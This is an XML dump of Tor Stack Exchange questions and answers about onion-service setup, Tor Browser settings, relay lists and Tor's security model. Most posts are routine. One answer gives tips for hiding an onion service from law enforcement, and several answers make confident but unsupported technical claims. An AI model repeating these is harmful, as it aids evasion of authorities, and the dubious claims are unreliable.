  <row Id="22897" PostTypeId="1" CreationDate="2021-11-22T22:57:18.057" Score="0" ViewCount="505" Body="&lt;p&gt;Raspberry PI 4 running Raspbian Full Install, I followed the instructions at&#xA;&lt;a href=&quot;https://community.torproject.org/onion-services/setup/install/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup/install/&lt;/a&gt;&#xA;following the debian/ubuntu section but using the default repository as the docs for using the suggested repo said no support for arm 32&#xA;which means I just ran&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it created configuration docs under /etc/tor and&#xA;it created the folder /var/lib/tor appar which seemed to be owned by debian-tor&#xA;going back to the &amp;quot;Setup onion services&amp;quot; directions at&#xA;&lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup/&lt;/a&gt;&#xA;I installed nginx and verified a domain name would connect to it on port 80 from outside my network.&#xA;I got to Step 2: Configure your Tor onion service and it is talking about copying keys and info to the folder /var/lib/tor, which I don't have access to.&#xA;Per question &lt;a href=&quot;https://tor.stackexchange.com/questions/21492/tor-var-lib-tor-permissions&quot;&gt;21492&lt;/a&gt; I ran&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ps -o user= -p $(pgrep -x tor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to verify tor was running under debian-tor, which it was. The one answer (not accepted) suggested&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R debian-tor:debian-tor /var/lib/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which didn't make sense to me but I tried it. I still couldn't access the directory. Then bringing my own very limited knowledge to bear I ran&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R pi:pi /var/lib/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and now I have full access to that directory and can presumably complete the installation process.&#xA;Unlike another question, &lt;a href=&quot;https://tor.stackexchange.com/questions/15185/directory-cannot-be-readed-permission-denied-after-update-to-0-3-0&quot;&gt;15185&lt;/a&gt;, I did not have issues starting tor, I just couldn't put my keys where they needed to go.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I configured torrc with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; HiddenServiceDir /var/lib/tor/test/&#xA; HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created /var/lib/tor/test and copied the three files created by mkp224o (hostname, hs_ed25519_public_key, hs_ed25519_secret_key) to that folder and re-started tor. The onion address failed to load in a working tor browser on my phone. Re-assigned the /var/lib/tor back to debian-tor, restarted tor, same results. Not seeing any errors on screen, the folders /var/log/tor and /var/log/runit/tor are empty. The /var/lib/tor/state document has some info about circuits built and tor addresses sampled, no errors.&#xA;That's about all the info I have. My questions are&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;did I create some terrible security risk or other issue by taking ownership of /var/lib/tor? I assume so otherwise it would not have been inaccessible in the first place.&lt;/li&gt;&#xA;&lt;li&gt;do the instructions at torproject need to be updated?&lt;/li&gt;&#xA;&lt;li&gt;where are my error logs or other clues I could follow concerning my test domain not being on the tor network?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="33660" LastActivityDate="2021-12-25T01:05:50.567" Title="user access to /var/lib/tor denied after fresh tor install on raspberry pi 4" Tags="|configuration|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22898" PostTypeId="2" ParentId="21168" CreationDate="2021-11-23T09:33:42.530" Score="0" Body="&lt;p&gt;where I work we have an API that does that, it's in the IDS/IPS services&#xA;send a mail to info@asp-waf.com and I will get you access&lt;/p&gt;&#xA;" OwnerUserId="33663" LastActivityDate="2021-11-23T09:33:42.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22899" PostTypeId="2" ParentId="14880" CreationDate="2021-11-24T21:44:23.753" Score="0" Body="&lt;p&gt;Tor is like STunnel, i.e. it's working as a tunnel mapper - and the data that are going out of the Tor are &lt;em&gt;as they sent&lt;/em&gt;, and in the case of HTTP - it's a plaintext. Your VM setup is &lt;em&gt;completely separated&lt;/em&gt; from Tor setup itself, so - if you need to make it encrypted and work as simply as it can - use STunnel :) Don't forget to set the verification level to 3 and just enjoy your secure ride! Feel free to ask for more details if you need them!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-24T21:44:23.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22900" PostTypeId="2" ParentId="13170" CreationDate="2021-11-24T21:53:07.240" Score="0" Body="&lt;p&gt;Your Tor config states that you're using cookie-based authentication, but you're using just &lt;code&gt;authenticate()&lt;/code&gt; instead of &lt;code&gt;authenticate_cookie()&lt;/code&gt; - see the &lt;a href=&quot;https://stem.torproject.org/_modules/stem/connection.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-24T21:53:07.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22901" PostTypeId="2" ParentId="22897" CreationDate="2021-11-24T21:57:55.437" Score="0" Body="&lt;p&gt;First of all, run &lt;code&gt;systemctl status&lt;/code&gt; as root and see the Tor service name, after that you will see the &lt;em&gt;actual&lt;/em&gt; running log with &lt;code&gt;journalctl -feu your-service-name&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-24T21:57:55.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22902" PostTypeId="2" ParentId="20532" CreationDate="2021-11-24T22:03:29.513" Score="0" Body="&lt;p&gt;Looks like you need to reinstall the Tor browser completely, because the fact that the log is empty when you're copying it - it's either an antivirus software has broken your tor setup or the setup was not completed&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-24T22:03:29.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22903" PostTypeId="2" ParentId="20502" CreationDate="2021-11-25T20:40:22.473" Score="0" Body="&lt;p&gt;Looks like you're having a hoax binary - I have helped to investigate the hoax binary case, so - &lt;strong&gt;yes, it happens&lt;/strong&gt;! Tor expert bundle and Tor Browser &lt;strong&gt;do have them all&lt;/strong&gt; shipped and are linked statically, mostly. So - just wipe it out and reinstall. Or - you can make a fully-static Tor build, so it will be just &lt;em&gt;one&lt;/em&gt; exe file with no dll requirements attached. Check your downloads' HTTPS certificates and signatures - there's a problem &lt;strong&gt;for sure&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-25T20:40:22.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22904" PostTypeId="2" ParentId="20552" CreationDate="2021-11-25T20:56:57.380" Score="0" Body="&lt;p&gt;Sorry, wrong ticket :) The MitM is impossible &lt;em&gt;truly&lt;/em&gt; when you don't have just a single authority, that's why it &lt;em&gt;is&lt;/em&gt; a potential danger, you're right. But to decipher the full 3-hop chain you also need to have your own honeypot nodes for 2 and 3 members - so, basically, the Tor protocol do protect you, but just BASICALLY. But in most of the times it's more than enough. If you need a deeper explanation - just drop me a line, and I'll reveal some concepts I'm making in my darknet fork. Tor protocol &lt;em&gt;does&lt;/em&gt; some careabouts the public keys, so it's not that straightforwardingly simple as it seems to perform a MitM, but it's &lt;em&gt;still possible&lt;/em&gt; in a various ways, but it's laborious and cost-high&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-11-25T21:04:27.073" LastActivityDate="2021-11-25T21:04:27.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22907" PostTypeId="1" AcceptedAnswerId="22917" CreationDate="2021-11-27T13:37:11.763" Score="0" ViewCount="151" Body="&lt;p&gt;As I know, public networks are highly dangerous for normal people as hacker can obtain their private data. One way to prevent this is using a VPN, since after the connection everything is encrypted.&lt;/p&gt;&#xA;&lt;p&gt;Does the TOR browser do this as well? I think yes, since only after the handshake with the entry node my personal data is send to the entry node, which should be already encrypted.&lt;/p&gt;&#xA;" OwnerUserId="33643" LastActivityDate="2021-11-29T22:11:14.980" Title="Public network safe with TOR?" Tags="|security|network-configuration|vpn|guard-node|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22908" PostTypeId="2" ParentId="9628" CreationDate="2021-11-27T23:25:24.850" Score="0" Body="&lt;pre&gt;&lt;code&gt;sudo chown debian-tor:debian-tor /var/lib/tor/site/&#xA;sudo systemctl restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;fixed it for me.&lt;/p&gt;&#xA;" OwnerUserId="33693" LastActivityDate="2021-11-27T23:25:24.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22909" PostTypeId="2" ParentId="20046" CreationDate="2021-11-28T19:12:56.167" Score="0" Body="&lt;p&gt;Sure it's possible! You need to rise up your own Directories services and after that you will use a &lt;code&gt;TransPort&lt;/code&gt; proxying to merge the network subspace. There are some advanced scenarios like using OpenVPN to gain the full network stack like UDP&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T19:12:56.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22910" PostTypeId="2" ParentId="20565" CreationDate="2021-11-28T19:14:04.357" Score="0" Body="&lt;p&gt;Either from a backup like @JSEvans said - or via any export/import plugin of your choice, but the mechanics is basically the same. Unless you need something like a private cloud for that&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T19:14:04.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22911" PostTypeId="2" ParentId="17218" CreationDate="2021-11-28T19:26:04.350" Score="0" Body="&lt;p&gt;Well, to manually build/control/enhance your circuits you have to use Stem library, but speaking about the Arm or Nyx tools - it can be a log warning. &lt;strong&gt;However&lt;/strong&gt; it is not OK to have such a messages in your log - it will help me to help you better if you will attach the log itself.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T19:26:04.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22912" PostTypeId="2" ParentId="15054" CreationDate="2021-11-28T19:27:48.920" Score="0" Body="&lt;p&gt;Basically - no, &lt;strong&gt;but&lt;/strong&gt; if you're behind a censoring network equipment and/or proxy server - you have to. 80 and 443 are the safest way, especially with obfs4 pluggable transport with port 443&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T19:27:48.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22913" PostTypeId="2" ParentId="22907" CreationDate="2021-11-28T20:01:37.953" Score="-1" Body="&lt;p&gt;TorBrowser Bundle - and the Tor itself - can &lt;strong&gt;not&lt;/strong&gt; protect you from leaking your own data, so - basically it provides a good layer of anonymity, but if &lt;strong&gt;you&lt;/strong&gt; will abuse it by your actions - there's no silver bullets in existence&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T20:01:37.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22914" PostTypeId="2" ParentId="17758" CreationDate="2021-11-28T20:05:17.160" Score="0" Body="&lt;p&gt;The root of the problem in error message is that you have specified the &lt;strong&gt;globally accessible address&lt;/strong&gt; for something that is supposed to be private. Just revise your config! Post it here and I'll be able to provide you with a precise instructions how to do it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T20:05:17.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22915" PostTypeId="2" ParentId="17569" CreationDate="2021-11-28T21:14:34.070" Score="0" Body="&lt;p&gt;If yoo're using a &lt;em&gt;clean&lt;/em&gt; client, i.e. a fresh Tails installation or a live usb one - no, you're safe. Even in case of the sophisticated hack case - just use a full-blocking incoming firewall for a Tails base and put the Tor into the &lt;code&gt;ClientOnly 1&lt;/code&gt; mode&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-28T21:14:34.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22916" PostTypeId="1" AcceptedAnswerId="22962" CreationDate="2021-11-29T20:51:47.717" Score="0" ViewCount="99" Body="&lt;p&gt;I know that few years ago (&lt;a href=&quot;https://tor.stackexchange.com/questions/7296/how-do-i-get-a-list-of-tor-relays&quot;&gt;2015&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/14697/list-of-all-the-entry-nodes&quot;&gt;2017&lt;/a&gt;), there was a centralized list of all Tor Relays. Is this still the case? Or is there some decentralization of the nodes?&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2021-12-22T03:54:13.037" Title="Does Tor still maintain a list of all relays?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22917" PostTypeId="2" ParentId="22907" CreationDate="2021-11-29T22:11:14.980" Score="0" Body="&lt;p&gt;If you use it properly, the Tor browser will protect you against passive surveillance on the local network.  It'll be obvious that you're using Tor*, but an attacker won't be able to see the details of what you're doing.&lt;/p&gt;&#xA;&lt;p&gt;Tor is effectively a more-complicated VPN.  All traffic is encrypted as it leaves your computer, and remains encrypted until it reaches an exit node.  Someone watching locally won't be able to read the traffic or tell where it's going.  Traffic analysis might be able to tell what sort of traffic it is (making a VOIP call, fetching a webpage, and watching a movie all have very different patterns of traffic), but this risk is also present with a traditional VPN.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;* Note that this is a risk in it own right.  For example, someone who sent a bomb threat over Tor was caught because the police could narrow the source down to a single university, and the person in question was the only one at that university using Tor at the time the threat was sent.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-11-29T22:11:14.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22919" PostTypeId="1" CreationDate="2021-11-30T18:31:15.377" Score="1" ViewCount="2512" Body="&lt;p&gt;I know this question has been asked multiple times here, but they are all very outdated (5+ years old), and none of the answers work with the latest versions.&lt;/p&gt;&#xA;&lt;p&gt;I am specifically asking for solutions to the latest stable release version of &lt;code&gt;Tor Browser&lt;/code&gt; as I am concerned about Firefox &lt;a href=&quot;https://www.theverge.com/2021/10/7/22715179/firefox-suggest-search-ads-browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;bundling adware&lt;/a&gt; inside its browser, and I am unwilling to accept that.&lt;/p&gt;&#xA;&lt;p&gt;Currently, Tor can be successfully disabled on &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/10.5.10/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser 10.5.10&lt;/a&gt; (after disabling automatic update) with these steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup the following environment variables - &lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt; and &lt;code&gt;TOR_TRANSPROXY=1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create a new file &lt;code&gt;autoconfig.js&lt;/code&gt; with the following content:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;pref(&amp;quot;general.config.filename&amp;quot;, &amp;quot;firefox.cfg&amp;quot;);&lt;br /&gt;&#xA;pref(&amp;quot;general.config.obscure_value&amp;quot;, 0);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Create a new file &lt;code&gt;firefox.cfg&lt;/code&gt; with the following content:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;// Disable Tor Permanently&lt;br /&gt;&#xA;lockPref(&amp;quot;extensions.torlauncher.start_tor&amp;quot;, false);&lt;br /&gt;&#xA;lockPref(&amp;quot;network.dns.disabled&amp;quot;, false);&lt;br /&gt;&#xA;lockPref(&amp;quot;network.proxy.socks_remote_dns&amp;quot;, false);&lt;br /&gt;&#xA;lockPref(&amp;quot;network.proxy.type&amp;quot;, 0);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;On macOS, copy autoconfig.js to &lt;code&gt;Tor Browser.app/Content/Resources/defaults/pref&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;On macOS, copy firefox.cfg to &lt;code&gt;Tor Browser.app/Content/Resources/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This works great with &lt;code&gt;Tor Browser v10.5.10&lt;/code&gt;, but not with the latest Tor Browser v11.0.1.&lt;/p&gt;&#xA;&lt;p&gt;What needs to be done to disable Tor in Tor Browser v11.0.1 (and above) completely?&lt;/p&gt;&#xA;" OwnerUserId="28647" LastEditorUserId="28647" LastEditDate="2022-02-08T10:33:31.027" LastActivityDate="2022-05-14T11:06:54.107" Title="How to Disable Tor and Use the Tor Browser as a Privacy Hardened Firefox" Tags="|tor-browser-bundle|firefox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22920" PostTypeId="1" CreationDate="2021-12-02T00:10:07.140" Score="0" ViewCount="116" Body="&lt;p&gt;In October 2019, Sven Taylor published a sobering article titled &lt;a href=&quot;https://restoreprivacy.com/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Tor Trustworthy and Safe?&lt;/a&gt;. In it he argues that (numbering mine),&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;US government agencies can de-anonymize Tor users on a “wide scale”&lt;/li&gt;&#xA;&lt;li&gt;...proven by a 2017 case in which the FBI de-anonymized Tor users&lt;/li&gt;&#xA;&lt;li&gt;Tor developers are cooperating closely with US government agencies&lt;/li&gt;&#xA;&lt;li&gt;Anybody can operate Tor nodes and collect your data and IP address; there's no quality control for nodes&lt;/li&gt;&#xA;&lt;li&gt;Malicious Tor nodes do exist&lt;/li&gt;&#xA;&lt;li&gt;No warrant necessary to spy on Tor users&lt;/li&gt;&#xA;&lt;li&gt;Tor was created and is funded by the US government&lt;/li&gt;&#xA;&lt;li&gt;Tor users are targeted merely for using Tor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A few other aspects are highlighted, even though they're mentioned in the documentation (e.g. potential IP address leaks via PDFs). The solution offered by the article is to use Tor through a VPN.&lt;/p&gt;&#xA;&lt;p&gt;Which of these claims are the most serious problems with Tor, and how can users defend against them?&lt;/p&gt;&#xA;" OwnerUserId="33709" LastActivityDate="2022-01-01T06:03:00.383" Title="Rebuttal to Sven Taylor's article on Tor?" Tags="|security|threat-models|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22921" PostTypeId="2" ParentId="22920" CreationDate="2021-12-02T04:38:31.820" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Unknown.  There are known techniques that &lt;em&gt;can&lt;/em&gt; de-anonymize on a large scale (eg. running a substantial fraction of the entry and exit nodes), but it's unknown if anyone is using them.&lt;/li&gt;&#xA;&lt;li&gt;Unknown.  The refusal of the FBI to disclose how they de-anonymized the defendant in this case makes evaluating it impossible.&lt;/li&gt;&#xA;&lt;li&gt;True, and misleading.  The known cooperation is with various intelligence agencies who want secure communication channels with their agents, and with the State Department, who want secure communication tools for dissidents.  They're working with Tor developers to &lt;em&gt;improve&lt;/em&gt; security, not &lt;em&gt;break&lt;/em&gt; it.&lt;/li&gt;&#xA;&lt;li&gt;True, and meaningless.  The whole point of Tor is that even if a node is operated by an attacker, they can't figure out both of (a) who you are, and (b) what you are doing.&lt;/li&gt;&#xA;&lt;li&gt;True, and mostly meaningless.  The major risk here is an exit node injecting content into the data stream (eg. malicious Javascript into a webpage), and the operators of the Tor directory authorities are fairly good at kicking out any nodes found to be tampering with data.&lt;/li&gt;&#xA;&lt;li&gt;Very complicated.  Certain types of &amp;quot;spying&amp;quot; such as de-anonymizing users does not require a warrant, but most other types do.&lt;/li&gt;&#xA;&lt;li&gt;True, and misleading.  It was created by the US Naval Research laboratory as a way to protect US intelligence communications over the Internet.&lt;/li&gt;&#xA;&lt;li&gt;True, and misleading.  In the specific case cited, the person was not &amp;quot;targeted for using Tor&amp;quot;, the person was targeted for sending a bomb threat.  Yes, there are countries where the mere use of Tor is grounds for being targeted, but the United States is not one of them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The best way to defend against these claims is to ignore them.  They're mostly anti-Tor scaremongering, with just a hint of truth.  Your best option is to follow good operational security practices, which mostly don't involve that website's suggestion of combining Tor with a VPN.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-12-02T04:38:31.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22922" PostTypeId="1" AcceptedAnswerId="22924" CreationDate="2021-12-02T14:25:18.993" Score="0" ViewCount="84" Body="&lt;p&gt;My understanding of Tor is that each relay peels back a layer and forwards what's left. But why can't the first relay simply unpeel all of the layers and see what the actual data is?&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2021-12-03T04:38:09.887" Title="What prevents the first relay from decrypting the rest of the layers in the onion packet?" Tags="|security|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22923" PostTypeId="2" ParentId="6829" CreationDate="2021-12-02T19:51:23.210" Score="0" Body="&lt;p&gt;become a hosting a hidden service is much Risk than just browing it / become a relay , actually using Orbot / OnionShare that can everybody without PhD degree in computerSecience still canbe a GEEK&lt;/p&gt;&#xA;&lt;p&gt;however , dont use speical Keywork likes Co-VeeWMD_Cryto or OmiconMarket that may getting filtering by UTM/NGFW etc , however we suggest all the Geek Using SATCOM(starLink)/remore rural location (2/3G only/No 4/5G signal) to setup HiddenService to avoid your frontDoor breakthough by Authority &amp;gt;_&amp;lt; escept Food deilivery&lt;/p&gt;&#xA;" OwnerUserId="33714" LastActivityDate="2021-12-02T19:51:23.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22924" PostTypeId="2" ParentId="22922" CreationDate="2021-12-03T04:38:09.887" Score="2" Body="&lt;p&gt;These &amp;quot;layers&amp;quot; in Tor are actually layers of encryption, where each relay only knows how to remove a single layer. As a client builds a circuit, the client performs a key exchange with each of those relays so that the client shares a different set of keys with each relay. Before a client sends a cell along a circuit, it encrypts the cell once with each forward encryption key, and since each relay knows only one of the decryption keys, the cell must be decrypted once by each relay before the original plaintext can be read.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-12-03T04:38:09.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22925" PostTypeId="1" CreationDate="2021-12-03T07:35:24.270" Score="1" ViewCount="122" Body="&lt;p&gt;I upgraded my TorBrowser to 11.0.1, and started noticing that the CPU in my machine is now doing a lot of work when I open TorBrowser.  CPU load of 140-150% is reported used on TorBrowser (a CPU with 4 cores, so max is 400%), even without visiting a single page.  I have the AdBlockPlus extension installed, and noticed that when I disable it the CPU usage is back to low levels.  Does anyone know if the high CPU usage of AdBlockPlus is a bug or a feature, or what in it is causing the high CPU usage?  I would like to block ads, but don't want the fan on my computer to kick in all the time.&lt;/p&gt;&#xA;" OwnerUserId="33716" LastActivityDate="2021-12-03T07:35:24.270" Title="AdBlock extension in TorBrowser using a lot of CPU power" Tags="|tor-browser-bundle|mac|browsers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22927" PostTypeId="2" ParentId="20578" CreationDate="2021-12-04T20:51:30.363" Score="0" Body="&lt;p&gt;Well, if something &lt;strong&gt;Truly decentralized&lt;/strong&gt; - like a PoW blockchain registry - is used, then current architecture of the Tor network is not a bit worse in comparison with a cloud databases: we must either eliminate a centralization totally, or accept a trusted portion of it. Cloud databases - to be able to be successfully queried from any place and &lt;em&gt;without&lt;/em&gt; any pre-seeded consensus will be the same centralized case&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-04T20:51:30.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22928" PostTypeId="2" ParentId="20438" CreationDate="2021-12-04T21:08:41.647" Score="0" Body="&lt;p&gt;Well, R.I.P. ClamAV - it's still a &lt;a href=&quot;https://en.wikipedia.org/wiki/Clam_AntiVirus&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cisco project&lt;/a&gt; - so unless it will change the way as the signatures are distributed to detect a [Bundestrojaner] (&lt;a href=&quot;https://www.sonntagmorgen.com/staatstrojaner-erkennen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sonntagmorgen.com/staatstrojaner-erkennen/&lt;/a&gt;) to English: federal trojan for example - it's &lt;em&gt;just&lt;/em&gt; better than nothing, but not a remedy by itself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="33891" LastEditDate="2022-01-09T17:41:19.517" LastActivityDate="2022-01-09T17:41:19.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22929" PostTypeId="2" ParentId="19606" CreationDate="2021-12-04T21:11:31.973" Score="0" Body="&lt;p&gt;No, it is not, and - actually - my privacy project has started from Tor patch set that was not communicated by devs at all with the options that were allowing to tweak this particular matter. The thing is that 3-way hope is &lt;strong&gt;hardcoded&lt;/strong&gt;, so if you will be using a different length - it can be a fingerprinting/deanonymizing pattern. All of us should use a random length like 3-7 as my simulations are showing &lt;strong&gt;and&lt;/strong&gt; we should run as many of an intermediate nodes as possible&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-04T21:11:31.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22930" PostTypeId="2" ParentId="17790" CreationDate="2021-12-04T21:12:56.847" Score="0" Body="&lt;p&gt;Indeed it is! You have to have it prepared beforehand, so the self-test and a reach-ability test will be firing up positive at startup&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-04T21:12:56.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22932" PostTypeId="2" ParentId="17412" CreationDate="2021-12-06T22:23:16.693" Score="0" Body="&lt;p&gt;The result is as you've described in your answer, but the root of the problem is in Ubuntu's flaws. To avoid them - build Tor by hand from the sources &lt;strong&gt;with&lt;/strong&gt; &lt;em&gt;SystemD&lt;/em&gt; support and make a proper startup file. Do &lt;strong&gt;not&lt;/strong&gt; rely on the binary packages under Ubuntu - there're even worse cases on flight&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-06T22:23:16.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22933" PostTypeId="2" ParentId="15794" CreationDate="2021-12-06T22:25:06.173" Score="0" Body="&lt;p&gt;Tails is supposed to be to route all &lt;strong&gt;from the guest VM's&lt;/strong&gt; through Tor, so it depends on where are you calling it from. Use QubesOS and be free from these OOB problems. If you need more help - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-06T22:25:06.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22934" PostTypeId="2" ParentId="16680" CreationDate="2021-12-06T22:27:56.860" Score="0" Body="&lt;p&gt;Well, the weight requirements are literally the same about a clearnet and darknet sites. To make the CDN-like offload and to improve decentralization - use IPFS! If you need more details - just drop me a line, I'll be glad to help! In my project I'm packing it all together, but it's still not released yet, sadly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-06T22:27:56.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22935" PostTypeId="2" ParentId="20767" CreationDate="2021-12-06T22:36:41.517" Score="0" Body="&lt;p&gt;I found a fix that works for me. On my Galaxy S20, I went Settings &amp;gt; Connections &amp;gt; More connection settings &amp;gt; Private DNS. Mine was on OFF. Select AUTOMATIC and see if it establishes a connection. I do warn you though, Using in conjunction with a vpn (like proton, a generally fast vpn) I found it to be at leased twice as long load times, sometimes more.&lt;/p&gt;&#xA;" OwnerUserId="33736" LastActivityDate="2021-12-06T22:36:41.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22936" PostTypeId="2" ParentId="18009" CreationDate="2021-12-07T00:36:35.417" Score="0" Body="&lt;p&gt;NO, it's impossible. However - it &lt;strong&gt;does not&lt;/strong&gt; discards the rate limits e.t.c., so - just be nice to the website you're scraping&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-07T00:36:35.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22937" PostTypeId="1" CreationDate="2021-12-08T04:17:03.453" Score="2" ViewCount="109" Body="&lt;p&gt;This may be a naive question. When I type in a .onion address I assume that the Tor network is designed to not know the ip of the server, or else law enforcement could easily subpoena Tor saying &amp;quot;Hey this .onion has illegal content, what's it's ip?&amp;quot;. So how can the Tor network connect to the ip address of a hidden network without knowing the ip?&lt;/p&gt;&#xA;" OwnerUserId="33739" LastActivityDate="2021-12-08T05:48:05.257" Title="How does Tor connect to a server while hiding it's ip?" Tags="|tor-browser-bundle|onion-services|proxy|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
